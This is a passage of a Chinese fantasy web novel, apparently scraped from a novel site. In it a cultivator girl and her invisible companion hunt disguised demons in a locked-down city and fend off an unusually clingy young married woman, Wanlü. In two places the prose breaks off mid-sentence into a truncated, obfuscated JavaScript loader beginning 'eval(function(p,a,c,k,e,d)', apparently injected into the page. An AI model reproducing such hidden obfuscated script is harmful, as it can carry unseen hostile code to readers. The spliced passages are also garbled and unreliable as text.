她希望晚绿能多说点关于刘郊的事,可惜晚绿的好睡眠与刘婶如出一辙,几个呼吸的工夫就彻底睡死过去,砸吧着嘴说起梦话来了,而且还是让人听不懂的梦话。 过了半个时辰,萧唤月小心翼翼地起身下床,绕过地上的刘婶,轻手轻脚出了门。 她目标明确地直奔隔壁房间,手放在门板上犹豫了片刻,就听见言隐的声音在耳边响起:“放心,那男的已经睡着了。” “你提前勘察过?” “嗯。” “靠谱。” 萧唤月轻轻推开门,闪身进了屋子。 透过窗缝中挤进来的月光,她看到床上的男人穿戴整齐,双手交叠放在腹部,手腕上绑着一根绳子,似乎是防止逃脱用的。 刘郊十分削瘦,兴许是生病所致,连面颊上的骨头都凹凸可见。即便在睡梦中,他也眉头紧皱,看起来睡得不大安稳。 “睡着了还穿得这么严实......”萧唤月凑近观察了一番。 其实刘郊睡前只穿了里衣,且衣带还没系好,跟裸睡没什么区别。是言隐看不下去,给他把外袍套上了。 这辈子没干过这么伺候人的活儿,言隐下手有点没分寸,把他摆得过于板正,像是要下葬。好在手够轻,没有将人吵醒。 “睡得真够死,有人给他晚饭里下安眠药了?”言隐戳了戳刘郊的头,问萧唤月,“你觉得他会是妖怪么,妖怪一般不会像他这么迟钝吧,这样都不醒。” “我没有火眼金睛,看不出来。”萧唤月就差拿着放大镜观察了,然而并不能分辨出此人有无异常。 钦天监给出的辨别方式是,拿把小刀,从脊背处割开皮肉,若脊骨白净光洁,那就是人类,若脊骨之间有状若触手的薄膜相连,那就是妖类。 这个辨别方法约等于没用,总不能因为怀疑某人是妖就直接把他的皮割开——凡人的身体素质远远比不上修仙者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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过于亲密的社交距离,让萧唤月感到有些不适应,但也是种新奇体验。她听着晚绿在耳边哼起摇篮曲一样的调子,没过多久,眼皮开始打架,竟然当真昏昏欲睡起来。 但这份安逸没有持续太久,萧唤月半梦半醒之间,脊背处的皮肤泛起了痒意,像是有什么东西钻进了她衣服里。 刹那间危机感挟裹了她,困意消失无踪。 她伸手往后被抓,果然摸到了什么东西。手感很粗糙,凹凸不平,在被她触碰到的瞬间立即开始逃跑,无疑是某种活物。 昏暗的光线下,萧唤月看见了这东西的大致形状,有点像放大版的壁虎,尾巴很长,脑袋上有三角状的凸起......难道还真是变色龙? 萧唤月正想拔剑斩了它,可那妖怪突然发出一阵骇人的颤音,晚绿被这动静吵醒,睁眼看见这小怪物,吓得尖叫一声,倒让萧唤月迟疑了片刻——要在晚绿面前暴露身份么? 言隐现在说不定正蹲在刘郊床头兢兢业业地玩“找不同”,眼下能指望的只有自己。 萧唤月最终还是出手了,只不过用了种更温和的方式,袖剑出鞘,轻轻划开了妖怪的喉咙。 比她想象的还要弱啊,是把天赋点都加在伪装上了么? 晚绿愣住:“那是......什么东西?” “好像是妖怪。”萧唤月安抚她,“恰巧我会一点防身术,正好在此时派上用场,别怕,妖怪已经死了。” 晚绿缩在床角,像是被吓蒙了。倒是刘婶不知何时醒了过来,摸索着点上了油灯,室内亮堂堂,照映出三张神色各异的脸。 看见那只横死床边的小怪物,刘婶也被吓了一跳,隐约知道是萧唤月解决了这东西,她将求助的目光投向萧唤月。 “埋院子里,或者火化吧......”萧唤月强装镇定地提出建议。 刘婶万万没想到,小姑娘在这住一晚,不仅没有得到保护,反而保护了她们一家三口。 听萧唤月说完事情经过,婆媳两个都心有余悸,看来紧闭门窗并不能抵御妖怪的入侵,那东西神不知鬼不觉就来到身边,如果不是萧唤月在,遭殃的就会是她们俩。 45. 第 45 章 婆媳两人被吓破了胆,同时对萧唤月的好感度和信任值飙升,晚绿缠着萧唤月,很想学学她方才“防身”使的那两手。 事实上,未经修炼的普通人,很难达到对妖物一击必杀的效果,再弱那也是只妖,并不是任人拿捏的小宠物。 但萧唤月还是指点了晚绿几招,无论怎样,总好过没有任何反击手段。 面对这婆媳二人崇拜的目光,萧唤月谦逊地表示,自己常年行走江湖,什么都会一点,但都算不得精通,没什么值得称道的。 但刘婶已经先入为主地对萧唤月产生了好人滤镜,一夜没睡,拉着她问东问西。晚绿也在旁边搭腔,查户口本似的,对她家里有几口人养了几条狗这种琐事都表现出了极大的兴趣,不过全让萧唤月给胡诌糊弄过去了。 直至天亮,刘婶才下定决心似的,眼神瞄向窗外,试探性地道:“姑娘,你能不能去看看我儿子的病?” 真是踏破铁鞋无觅处得来全不费工夫,萧唤月想,早知道就不大半夜偷摸去找刘郊了,机会现在直接送上门来了。 可惜她对刘郊的“病”无能为力,即便仔仔细细地又观察了一次,也看不出他是否被妖夺走了皮囊。 刘婶坦言,最坏的那种可能性她不是没想过,但如今境况实在糟糕,人人杯弓蛇影,若走漏了风声,让钦天监的人注意到儿子的异象,恐怕假的也要变成真的。听说验明妖怪之身要剥皮,开什么玩笑,剥了皮哪还能有活路? 是以,刘婶伪装出儿子患病不出的假象,将他关在家里。 刘婶自言:“既然姑娘你看不出来,那我儿子应该没问题。” “嗯,我也觉得。”萧唤月顺着刘婶的话说。 “是吧?说不定郊儿真的只是犯了疯病,而且正在好转,你看,他现在都会自己穿衣服了。”刘婶喃喃,“衣带也系得好好的......郊儿,你能听见娘说话吗?” 刘郊已经醒了,但缩在被窝里,不想与众人交流,一副很害怕的样子。 晚绿似是抱怨似是无奈地摇了摇头:“这胆小鬼。” 萧唤月沉默了一会儿,神情变得严肃起来:“我可以不向钦天监举报刘郊的事,但你们要做好承担相应后果的准备,如果......他真的是妖,可能会伤害你们。到时他必须得死,你们也会被连累。” 刘婶:“倘若真是那样,姑娘你放心,我就算拼了这把老骨头,也要砍杀了他,不会让他跑出去害人。” 萧唤月不置可否,将手放在拴住刘郊的绳子上,不动声色地加了一道封印。 “这绳子挺结实,别松开。” “好,绝对不松开,上厕所都捆着呢。”刘婶连连点头。 跑这一趟,好歹不是全无收获,至少妖怪击杀数量喜加一,萧唤月决定先回师姐那边报告情况。 经历过这一晚,晚绿似乎变得格外黏人,原先还以大姐姐自居,现在围在萧唤月身边蹦跶来蹦跶去,倒显得萧唤月像是更年长的一方了。 晚绿自告奋勇:“萧姑娘,我送你回家。” “不用......” 拒绝无效,晚绿亲亲热热挽着萧唤月的手:“我也想见见姑娘的朋友呢,行走江湖,听起来好厉害,明明年纪比我还小,却去过那么多地方。” 萧唤月恍惚了一瞬,是啊,不知不觉,已经去过那么多地方了,遥想几年前她也是个深闺少女,以为一辈子就这样望到头。 最终晚绿还是跟着她回去了,一进门就满眼新奇地东张西望,其实这地儿着实没什么好看,不知道她为什么会发出“哇塞”的惊呼,大概是给萧唤月面子。 “很有江湖气息嘛。”晚绿拍了拍斑驳的门板,没想到拍下来一层灰。悄悄在裙角上擦了擦手,转身又跑去天井,“这里适合晒太阳!” 萧唤月正在另一边同师兄师姐告知事件的来龙去脉,言隐则悄悄在门后现了身,假装成刚回家的样子,自然而然地插入进他们三人的聊天。 晚绿在那边独自开朗,很有眼力见地没来打扰他们的谈话,只时不时投去一个探究的眼神。看见忽然又有个男人加入,状似与萧唤月很亲密的样子,她有些好奇,这位是萧姑娘的谁?看起来不像普通朋友。 谈话没有持续太久,路承蕊和昭意都是热心肠的好人,知道了事情经过,当然不会撒手不管。对于晚绿的到来他们表示欢迎,还拿了一些瓜果糕点给晚绿,让她回去与刘婶分着吃。 昭意:“将来遇到什么麻烦都可以来找我们帮忙。” “真的吗?”晚绿接过那些瓜果点心,眼睛亮晶晶的,“昭公子和路姑娘,也会武功?” 昭意:“一点点。” 没被提及的言隐幽幽侧过身子,看了晚绿一眼。他最晚进门,还没来得及同晚绿互通姓名,倒不是介意自己被忽视,而是觉得她这副讨好的样子......有点浮夸。 像是生怕他们不帮忙一样,极力表现出自己的友善。 随着言隐转过身来的动作,晚绿的注意力也转移到他身上,这个距离,她看清了他的脸。 她盯着他愣了几秒,脸上的表情变得有些奇怪,似是困惑,似是惊讶。 直到言隐出声:“你看什么。” 晚绿回过神来:“抱歉,只是觉得......公子丰神俊朗,实在生得一副好模样。你......叫什么名字?” “言隐。” “那么就叫你言公子如何?”晚绿问道。 “称呼随你。你什么时候回去?”这句话听起来像是在逐客,路承蕊悄悄拽了拽言隐的袖子,示意他注意言辞。 “这就走了。”晚绿像是没有意识到言隐的排外,又恢复了那副笑嘻嘻的模样,“谢谢你们愿意帮忙,明天我还可以来这儿找萧姑娘玩儿吗?” 得到了肯定的回答,她才放心地挥手作别,没想到怀里抱着的果子骨碌碌滚了一地,赶忙又俯身去捡。 看起来不太聪明啊,言隐想。 他对晚绿观感着实一般,觉得此人有点过于自来熟,明明萧唤月才刚跟她认识没多久,却表现得好像情同姐妹似的。 明天居然还要来找萧唤月玩儿?难道她没有自己的事要做吗,一直缠着别人,多不合适。 这种心情在第二天晚绿踏着晨光来敲门的时候,达到了顶峰。 言隐一脸不乐意地靠在萧唤月身边:“她居然真的来找你。” 萧唤月:“感觉她挺没安全感的......要不给她个护身符?” “行啊,这样她就能少来几次了。” 敲门声仍在持续,萧唤月放下手中打结的狗尾巴草,起身去开门。 “......我溜了,你自己应付她吧。”言隐遁去身形,水雾一般消散在空气里。 晚绿进门,先是亲亲热地挽住萧唤月,然后好奇地问其他人去了哪里。 “他们逛街去了。” 话只说了一半,实际上昭意和路承蕊当然不会只顾着玩,沿街打探妖怪的消息才是主要目的。 “那我们也去逛街,怎么样?正好今天娘让我去买两个肉菜,好好招待你们。” “我们?” “是呀,你和你的朋友们,今晚都来我家吃饭吧?” 那可不行,按这个趋势下去他们两家都得住一块了,还有正事要办呢,无谓的社交还是少点为妙。 萧唤月不得不再次发挥起胡说八道的能力,再三婉拒说他们四人中午有事,晚上有事,这段时间都有事。 察觉到萧唤月的抗拒之意,晚绿总算不再坚持邀请,但无论如何,今天还是得去买肉——这是她每天都要干的事情,娘和刘郊身体不好,需要营养。 晚绿:“既然你们没时间来我家吃饭,那我买两份肉,给你一份,你带回去和朋友们一起分着吃?” 话都说到这个份上,萧唤月只好陪同。 晚绿拉着她穿过人声鼎沸的集市,在一处卖肉的小摊前停下。 地面脏污,血迹混杂着肉屑形成一层油腻腻的膜,站在上面都打滑。粗声粗气的老板正忙着拿刀剔除猪骨头上的碎肉,头也没抬,嘴里重复念着吆喝揽客的话。 “自家养的猪膘肥体壮,油多肉香,这边走来这样望,都是新鲜的好肉嘞!” 相对其他区域,这里的客人要少很多,不知道是因为卫生环境堪忧,还是因为大家经济状况普遍下滑,买肉成了一种奢侈。 晚绿熟门熟路地来到摊前,放下买肉钱:“赵屠户,我买两斤肉,要猪后腿的,切做臊子!” 被称作赵屠户的肉摊老板抬起头来,见到是她,立刻喜笑颜开:“哟,熟客呀,今儿买这么多?” “你别管,切就是了。” “可是......买两斤,这些钱不够呀。” 萧唤月在旁边听着,正要自掏腰包补足银两,赵屠户却伸手制止了她: “欸,我不是这个意思。大家伙如今都不好过,我家中宽裕一些,便少计较一些。这样吧,还是老规矩,缺的那几个钱我给你们抹了,只要姑娘们平日里多来照顾我生意,陪我聊聊天就成。” 比起陪他聊天,萧唤月更愿意直接付账,掏出碎银正要递给他,却听晚绿哦了一声,把手伸到赵屠户面前,手背朝上,纤长的指尖垂落,小臂曲线优美,皮肤细腻,一点也不像常年劳作过的样子。 刘婶怜惜儿媳,平日里并不舍得让她做重活。 赵屠户眼神一亮,像是见了骨头的狗,鼻翼翕动,布满胡茬的脸凑上来,居然要去亲吻晚绿的手。 萧唤月吓了一跳,赶紧扯住晚绿的后脖领,拉着她退了两步。 “干什么?”萧唤月瞪那屠户。 没想到晚绿开口替赵屠户抢白道:“没事啦,我自己也愿意的。亲两口,能拿好多肉。” 萧唤月松开她的领子,皱眉道:“以前也这样?” “对啊。” 居然是你情我愿的交易?! 萧唤月内心颇感冲击,一时不知道该不该提醒晚绿,她家里还有一位熟睡的丈夫。莫非他们夫妻生活不太和谐,以至于这位丈夫在晚绿心中的存在感几近为零? 不过,即便是你情我愿的交易......赵屠户那猥琐样,怎么看怎么不舒服,像在哄骗无知少女的怪叔叔一样。 按理说晚绿已知人事,年龄也比萧唤月大上几岁,将她形容为不谙世事的少女不太准确,但她给萧唤月的感觉就是这样,有点小聪明但不多,更多的时候是在犯傻,甚至不怎么懂人情世故。 或许是原生家庭环境单纯,刘婶也把她当女儿般疼爱,从未磋磨过她。 “这样不好吧。”萧唤月悄悄同晚绿咬耳朵,“他面相一看就很奸诈,说不定故意抬价格占你便宜。要不换个摊位买?” “我都试过了,他家养的猪最肥,肉最好吃,我娘也喜欢。” 萧唤月内心的怪异感更甚,想要再劝,晚绿却已经再次靠近了肉摊:“还亲不亲?不亲的话就赶紧切肉呀。” 简直心大到了另一种境界,萧唤月自愧不如,一边不由得感叹新萩民风也够开放的。 赵屠户将目光转向萧唤月:“这位姑娘第一次来吧。” “嗯。” “姑娘似乎对我颇有误会,其实我从不强迫别人的。”赵屠户嘿嘿一笑,“我知道,这种事旁人看了或许唾弃,但我嘴巴紧,从不会到处乱说,就当是和客人之间心照不宣的秘密。你想想看,不过是来陪我这糟老头子聊聊天,亲热亲热,并不会损失什么。” “你不用同我说这些。” “我是有分寸的,不会太乱来。对于你们来说,好处是实打实的!这年头都有人啃 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赵屠户的脸沉下来:“你不买就算了,怎么还撺掇别人也不许买?断人财路如杀人父母,姑娘不知这道理吗。” 萧唤月懒得再跟这坑钱又骗色的老家伙多说话,手掌一摊,冷冷道:“钱还我,之前的话当我没说,帐不必记了。” 赵屠户耍无赖:“抱歉,这位姑娘,给出去的钱泼出去的水,没有再要回的道理。” “如果你听不明白我的话,我也略懂一些......” 萧唤月这句装逼的话还没说完,轰隆一声巨响,屠户的肉摊被掀翻,铜板碎银滚了一地。 “谁?!”屠户一声哀嚎,一边捡钱,一边四下张望,寻找罪魁祸首。 混乱之中似乎有人给了他一拳,打在眼眶上,瞬间让他眼冒金星,连捡钱都顾不上了,嘴里骂着脏话,跌跌撞撞地站起身来要去找人算账。 然而罪魁祸首已经来到萧唤月的身边,在她耳边轻轻吹了口气。无需多言,萧唤月已经明白过来是怎么回事,噗嗤笑出了声。 随后她拉着晚绿匆匆离开集市,免得待会更多人围过来,想走可就难了。 走前她还薅了一把羊毛,趁屠夫捂着眼眶到处转,注意力不在她们身上时,萧唤月抓起几块肉,用油纸一裹,扔进晚绿怀里。 晚绿一脸懵地被带离了现场,直至到了一个人烟稀少的巷口,萧唤月才停下脚步。 言隐在二人背后现了身,绕到萧唤月肩侧,轻轻扯了扯她垂落的发辫。 “阿月!”声音很大,故意要吓她一跳。 不曾想萧唤月没被吓到,晚绿倒是被吓了个激灵,怀里的肉都掉地上了,好在回去洗洗还能吃。 看着突然出现的言隐,晚绿扬了扬眉,歪头道:“是你啊,言公子。” “昂。” 下一瞬晚绿眼中闪过兴奋之色,她比萧唤月想象得更加敏锐,凑到言隐身边问道: “公子,刚才是你掀了赵屠户的摊子吗?但我没看见你,你躲在桌子底下掀的,是不是?” 言隐含糊道:“嗯......嗯。” “那你可帮我们出了口恶气,方才萧姑娘想找他要回银子,赵屠户不肯给呢,以后我再也不去他那里买肉了。” 萧唤月:“就是,别去了,他就一老奸商。” 晚绿抱着怀里的猪肉,准备给萧唤月和言隐一人分上一块。 萧唤月道了声谢收下了,反正这肉是她趁乱抢的,有她一份也是应该。 言隐却拒绝了:“我不要。” 他又不是没钱,想吃的时候再买就行了。那猪肉油腻腻的沾了灰尘,他不想弄脏手。 “公子不喜欢吃肉?” “还行。” “那为什么不要呢?” “你自己吃。” “但这是我的一点心意呀,希望公子能收下。”晚绿扯住他的袖子,好像过年塞红包那样,要把肉塞进他手里。 言隐手一缩,退到萧唤月身后:“都说不要了,你听不懂么。” 晚绿有点沮丧:“我没有别的意思,只想感谢公子刚才替我们出头。可是,从第一次见面到现在......公子似乎一直很抗拒我的靠近,难道我曾经得罪过言公子吗?” 言隐求救般地看向萧唤月:她这是在干嘛?不想接肉而已,为什么能延伸出这么多别的含义? 虽然他确实不怎么喜欢她。 场面突然冷下来,萧唤月也有点傻眼。但还是自觉打起圆场:“你想多了晚绿......他性格如此,对谁都这样。” “但他对萧姑娘你就不这样啊。”晚绿目光依旧停留在言隐身上,“不过可以理解,毕竟,你们是好朋友。” 言隐揽住萧唤月的肩:“对,我们,好朋友。” “言公子和萧姑娘应该会在新萩住很久吧?反正现在也出不去。”晚绿总算没有再抓着猪肉的事不放,转移了话题。 萧唤月模棱两可地道:“应该吧。” “那我们会有很多打交道的机会,我想跟你们交朋友,不可以么。” “不可以。”言隐果断道,“我们不搞朋友批发。” “......那是什么意思?” “意思是我的朋友只有她,她的朋友只有我,你不准加入。” 晚绿疑惑道:“可是,那位路姑娘,还有昭意公子,也不算是你们的朋友吗?” “他们是另一种朋友,关系更低一级的。” “那我就当那种更低一级的,朋友不是越多越好么,你们只要不讨厌我就行了。我会经常来找你们玩,还给你们带好吃的。”晚绿挑眉,“怎么样?” 46. 第 46 章 也不管萧唤月和言隐答应与否,晚绿铁了心要与他俩交朋友,隔三差五地往这边跑,时不时带两篮子烧饼来,态度更是十分良好,从来没有生气的时候,脸上的笑容灿烂得像幼儿画标准模板。 都说伸手不打笑脸人,她这样子,的确让萧唤月挑不出赶人的由头。 只不过热情得过了头,让萧唤月有点招架不住。 “她小时候是不是发过高烧。”言隐很烦躁,“不然怎么听不懂好赖话?还是说,你做了什么,让她这么喜欢你?” 萧唤月反唇相讥:“她明明更喜欢你。” “你。” “你。” “你先认识她的。” “......好吧,话说回来,其实我觉得她不是因为喜欢我们才跑来交朋友。” “那是因为什么。” “因为对我们感兴趣。”萧唤月猜测,“可能她觉得我们会武功,是一件很酷的事?” 看得出晚绿正在非常努力地融入他们,甚至会不自觉模仿他们的穿着习惯和表情动作,似乎是想通过言行举止上的共通点来拓展关系。 可晚绿着实打错了算盘,她对于丘山众人来说只是一个需要帮扶的对象,而非“朋友”。 他们身负要任,不会在新萩停留很久。 这座城白日里看起来风平浪静,繁荣安康,到了夜晚,潜藏的妖魔们才倾巢而出,开始挑选下手的对象。 钦天监甚至无法确认受害者的数量,或许他们在睡梦中就被夺去了性命,如花梁燕所说,是一场“沉默的屠杀”。 但花梁燕的做法仍然是有效的,短时间内妖怪的数量不会再继续增加,杀一个,少一个。 到最后,最大的伤亡人数,也不会超过这座城的人口总和。 玉胥宗的四位并没有闲着,夜半出门,运气好的话偶尔能捕获到一两只“变色龙”,其中以昭意和路承蕊的战绩最为可观。 就这样过去了两个多月,妖怪的数量在减少,猎杀它们的难度也在提高。 民众照常生活,某些必需物资会定时从外城转运进新萩,这般调度,让他们不至于陷入到山穷水尽的境地,但他们内心的恐慌与日俱增,这是一场看不到尽头的消耗战,紧闭的城门与栅栏亦有相似之处——他们像是被圈养在其中的家畜。 情绪总是需要发泄口。 其一体现在,街头斗殴的事件数量显著增加。 其二体现在,有人为一己私怨,胆大到了拿钦天监当刀使的程度,谎报仇家是妖怪伪装而成的人类,试图借钦天监的手解决仇家。 即便钦天监再如何谨慎辨别,依然出现了平民被误杀的事件。 花梁燕的耐心被不断消耗,从前坐镇穆心山可没有出现过让她如此焦头烂额的状况。比起横行的妖物,她更不擅长处理城中百姓的内斗。 眼下的情境好比瘟疫肆行,有人染上了,有人没染上,有人染上了却没发作。百姓之间蔓延的恐慌不可避免,殊不知寒冬尽头便是暖春,城中妖物总有被屠戮殆尽的时候,只需熬过这最后的艰难时光。 不过,人间是否还有其他地方也遭遇了这种妖物的毒手,花梁燕便无从知晓了。毕竟人间既广阔又拥挤,或许在某些看不见的角落,人与妖始终以一种别扭的姿态共存着。 晚绿仍没有放弃串门活动。 萧唤月对她虽称不上热络,但对于这位“新朋友”的到来,竟也渐渐习以为常了。 路承蕊和昭意被纠缠得少些,对晚绿的观感尚可,觉得这姑娘或许只是想寻一个庇护所——虽说晚绿不知道他们的真实身份,但应该也能感受到他们的身手并非常人。 空荡荡的天井中,碎屑纷飞,乍一看以为是黑灰色的落叶,实际上那是稻草和木柴燃烧后的余烬,被风吹得飘了起来。 萧唤月咬牙:“我说了多少次——不要在这里烤肉!天干物燥,容易失火!” 言隐有点慌张地解释:“烤完肉我有好好灭火,保证连个火星子都没留下,你这么凶做什么?” “......你就不能去其他地方烤吗?干嘛非得在家里烤。” “附近又没什么好去处,在家里烤还能顺带取暖,为什么不可以......好吧好吧,你别那副表情,下次不烤就是了。” 言隐的脸沉下来,递给她半只烤鸡。本来是要给一整只的,但她这么霸道,所以只给半只。 萧唤月有点懵的接过烤鸡,味道看起来还挺不错,香气直往鼻子里钻。 吃了一口,她别别扭扭地偏过头去:“偶尔......一次的话,也可以。” “嗯?”惊喜于她的突然转变,言隐立马道,“那,一周一次?” “一个月一次。” “那也太久了,”言隐冷哼一声,“不知道在这儿还能不能待得了一个月呢,说不定很快就要离开。” 萧唤月心中一动,是啊,在这儿待了这么长时间,差点忘了他们下山的主要目的是把镜妖送回苦心谷。 最近城中形势看似混乱,但妖物的数量终究是在减少,从长远角度来看,局势或许在好转当中。 监正知道他们还有任务在身,无意强留,表示丘山的诸位只需要负责妖物的清剿,人与人之间的争端不在他们的职责范围内。 与此同时,修仙界察觉到了妖族似有若无的野心,本着未雨绸缪的心态,各派势力相继出手,各方修士都在下山清剿作乱妖魔的路上。 就算萧唤月他们几人离开新萩,后续也会有其他修士前来助力,消灭妖物似乎只是时间问题,就眼下而言,修仙界的综合实力依然是胜过妖族一筹的。 在新萩生活的这些日子,比起之前的行程来说,简直称得上平淡了。萧唤月觉得这些妖怪的硬实力着实很一般,又或许只是她运气好,没碰上大家伙。 萧唤月想要告知晚绿,自己可能会在不久之后离开新萩,但她近几日并没有见着晚绿。 她猜测晚绿可能终于腻烦了这种无意义的社交活动,又或许这几天在忙别的事。问了问门口卖饼的刘婶,她也不清楚晚绿去了哪里,只知道儿媳妇干活挣钱去了。 萧唤月感到疑惑:“干什么活,能这么久不回家?” 刘婶不以为意:“哎呀,姑娘,你不知道,若是城东的人要跑去城西干活儿,一干就是一天,晚上回家的路上危险不说,还要贴车马费,不如直接住在主家,省钱呢。” “可是,晚绿没有告诉你她去了哪里吗。” “她给有钱人家的小姐缝衣服,缝得漂亮又精巧,有时候要连续跑好几家,没有固定的主家。”刘婶一副自豪模样,“我知道得不详细,总归晚绿在这些事上没出过岔子,我挺放心的。不放心也没用,我一个老婆子,只会做饼卖饼,眼睛不好,绣不了花样,帮不上她什么。” 好吧,既然如此,萧唤月想,等她回来,再告个别。 虽然相处得不算太愉快——晚绿给他们的捉妖行动无意间添了很多麻烦,本该用于做任务的时间,却耗费在了她身上。 但总归相识一场,萧唤月觉得还是应该同她知会一声。山高路远,这一别,以后大概没什么再见面的机会了。 没想到晚绿那边结束得比想象中还要快,以为尚能清净几天的萧唤月,隔天就被一阵急促的开门声吵醒。 开门一看,正是许久未见的晚绿,嘴角带笑,眉梢洋溢着喜气,刚开门就扑进萧唤月怀里,说要请她吃饭。 这般豪气,大概是刚结了工钱,手上有盈余。萧唤月了然,拍着她的背说那就有劳小老板破费。 “不破费,不破费。”晚绿嘿嘿笑,拉着她的手晃来晃去,“这次我活儿干得不错,主家给了额外的赏钱,能请你们吃顿好的。” “即便如此,我们四个人若敞开了吃,你的钱包恐怕也遭受不住。”萧唤月用手比出一个缸口大小的圆,“我的胃口,就有这么大。” “没关系呀,你可以多吃点,我一直觉得你太瘦了。”晚绿放低了声音,“而且我不会被吃垮的,因为我只请你和言隐,另外两位,以后多送他们一点烧饼好了。” “只请我和言隐?” “没办法呀,亲疏有别,请四个人,我钱可能就不够了,不如就我们仨,去酒楼吃个痛快,拜托你不要告诉路姑娘和昭公子哦。” 被划分为“亲”的一方,萧唤月不知该不该表示欣喜。 但背着师兄师姐去开小灶好像不太好......毕竟在萧唤月这里,师兄师姐才是“亲”,晚绿还得往后排。 萧唤月同晚绿商量:“要不我再添点儿钱,让他们一起......” “不。”晚绿很坚定地拒绝了,拉长了尾音,带有几分撒娇的意味,“我就想跟你吃饭嘛,捎带上言隐也只是因为他跟你关系最好而已。不行吗?我身边没有什么姐姐妹妹,所以不太知道同你这样的年轻姑娘该怎样相处。不过我心里可是把你当成最好的朋友啦。” “这......”萧唤月突然觉得压力有点大,这友谊关系好像不太对等——在她心里,晚绿顶多也就是个普通朋友的定位,可晚绿却把她当成最好的朋友,真不知看上了她哪一点,分明只是萍水相逢。 “你不答应?”晚绿眨了眨眼,“哎呀,以后你们四个人一起吃饭的机会不是还很多吗,跟我吃饭的机会可是寥寥无几呢,我来之前都听娘说了,你们可能要搬家,是在封城结束后吧?” “......嗯,具体时间还不知道,但我们的确要搬走了,去别处做生意,很远的地方。” “所以,就这一次,顺着我呗。”晚绿咧嘴笑了笑,酒窝若隐若现,“我就想跟你和言隐一块儿吃饭,我喜欢你们俩。” 看到晚绿那双带亮的眼睛,萧唤月心中一软。 平日里的确不见晚绿身边有什么关系好的同龄姐妹,好不容易交到了新朋友当然会很高兴,对他们造成困扰并非晚绿本意,她只是在与朋友的相处中没拿捏好分寸而已,毕竟她也不知道他们身上有特殊任务。 最后还是依着晚绿的意思,萧唤月叫上言隐,三人上酒楼吃了顿饭。 包厢在二楼,隐约能听见大堂里悠扬的琴声小曲儿,空气中弥漫着酒香,这氛围最适宜打盹。 今天的菜还算符合言隐口味,特别是中间那道八宝鸡,口感绝佳。不过他不太明白,为什么他也是被请客的一员? 萧唤月提前告知过他,席上只顾吃就行,别说什么不中听的话,这顿饭,就当晚绿提前为他们践行了。 “言公子果然喜欢吃八宝鸡。”晚绿托腮看他。 “果然?” “我向唤月打探过你的口味,她说你喜欢吃鸡。所以我特意点了这道菜,听说是这家店的招牌之一,味道不错吧?” “还行。” 言隐很不客气地用筷子扯下一只鸡腿,正要送进碗里,忽然意识到自己好像吃得有点多,这盘八宝鸡基本都进了他嘴里,其他人还没吃上两口。 于是筷子转了个弯,鸡腿进了萧唤月碗里。 “好吃,你试试。” “我吃过了,你多吃点呗。”萧唤月给他夹回去,“你不是爱吃这个?” 晚绿:“不够吃的话可以叫小二再上,你们不用推来让去的呀,言公子,你喜欢就自己吃好了。” 言隐睨了晚绿一眼,总感觉她语气有点奇怪,吃饭期间好似格外讨好他,明明他只是个捎带的,可晚绿对他比对萧唤月还热情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我信我信,你们两人都是武功高强的大侠。”晚绿高兴了,比出一根手指,“不过呢,我只需要一位大侠送我就好啦,言公子,可否赏脸呢?” 言隐指着自己:“我?” “对啊,唤月看上去有点累,让她先回家好了,你送我就行。” 听起来有点道理,言隐暂且被这个理由说服,望向萧唤月,挑了挑眉,用眼神询问她意见。 “我不累啊。”萧唤月摇头。 晚绿走过来给她捏肩:“别强撑啦,看你困得都快睡着了,今天谢谢你愿意陪我吃饭,以后我会想你的。” “搞得好像在道别一样,我们又不是今天就搬家。”萧唤月笑道。 “不也没多久了么。说起来,明明你比我年纪小,行事却很成熟呢,一直以来都是你在包容我,今天我也贴心一回好了,”晚绿一副不容置疑的语气,“你先回家歇息,言公子送我就行。或者我和言公子先送你回家,然后言公子再送我回家。” 被安排得明明白白的言隐有点不爽,但最终没有提出异议,趴在桌上,手指转着空酒杯,看向萧唤月:“也行。先送你回去?” “不用那么麻烦,我自己回去就可以。”萧唤月轻轻摇了摇头,“天色已晚,耽误不得,你送晚绿吧,我先走了。” 刚才她感受到了,晚绿说话的时候轻轻按压她的肩膀,眼睛一眨不眨地盯着她,“言公子”三个字加了重音,暗示意味十足。 因此萧唤月敏锐地察觉到,晚绿似乎......想找机会与言隐独处?或许是有什么话想要跟他说。 萧唤月想,自己没理由跟晚绿对着干,送人回家又不是多麻烦的事,一个人足够。况且她的确也有点累,脑袋昏昏沉沉,想要回去睡觉。 三人出了酒楼分道而行,言隐侧身,在晚绿看不见的角度指了指自己的袖子,眼神望向萧唤月。 萧唤月明白他的意思——他们随时可以用袖袋里的通讯符联系。 下一刻晚绿也转过身来,对着萧唤月摆了摆手:“再见啦,小妹妹。” 萧唤月压制住自己呼之欲出的哈欠,同她摆臂道别:“再见。” 走出一段路,萧唤月转过头,看见两人离去的背影,一高一矮,中间隔着恰如其分的距离。 其实她看出来了,今夜晚绿对言隐的态度有些奇怪,说是请她吃饭,注意力却几乎都在言隐身上,还刻意制造与他独处的机会。如果不是晚绿已有家室,萧唤月恐怕都要误会了。 但晚绿对言隐的格外青睐会是因为什么呢?萧唤月想不通。 走在空无一人的巷道上,风声似鬼哭,无端显得瘆人。 萧唤月一手按着剑柄准备抵御可能出现的攻击,一边忍不住继续思考这事。 晚绿和言隐交集甚少,从晚绿的角度看来,如果言隐有什么优点,应该就只剩那张脸了。毕竟言隐对她的态度实在不能算友好,对于晚绿的数次造访,他虽然没有直接赶过人,但不耐烦都写在眼里。 莫非晚绿是个隐藏的颜控?不对,昭意和路承蕊也很好看,可没见她对他们另眼相待。 ......不过审美这玩意儿很主观,否则也不会有一见钟情的存在了。言隐脸好脾气臭,指不定有人就好这口,高冷范也是范嘛。 萧唤月控制不住地要想歪,回忆起两人离去时,晚绿双手背在身后,小半个侧脸露出来,似乎在笑。从背影都能看得出她欢喜无比,完全是娇俏的小女儿姿态。 思绪如脱缰野马般奔驰,萧唤月不禁琢磨,如果,如果晚绿真的喜欢言隐......刘郊怎么办? 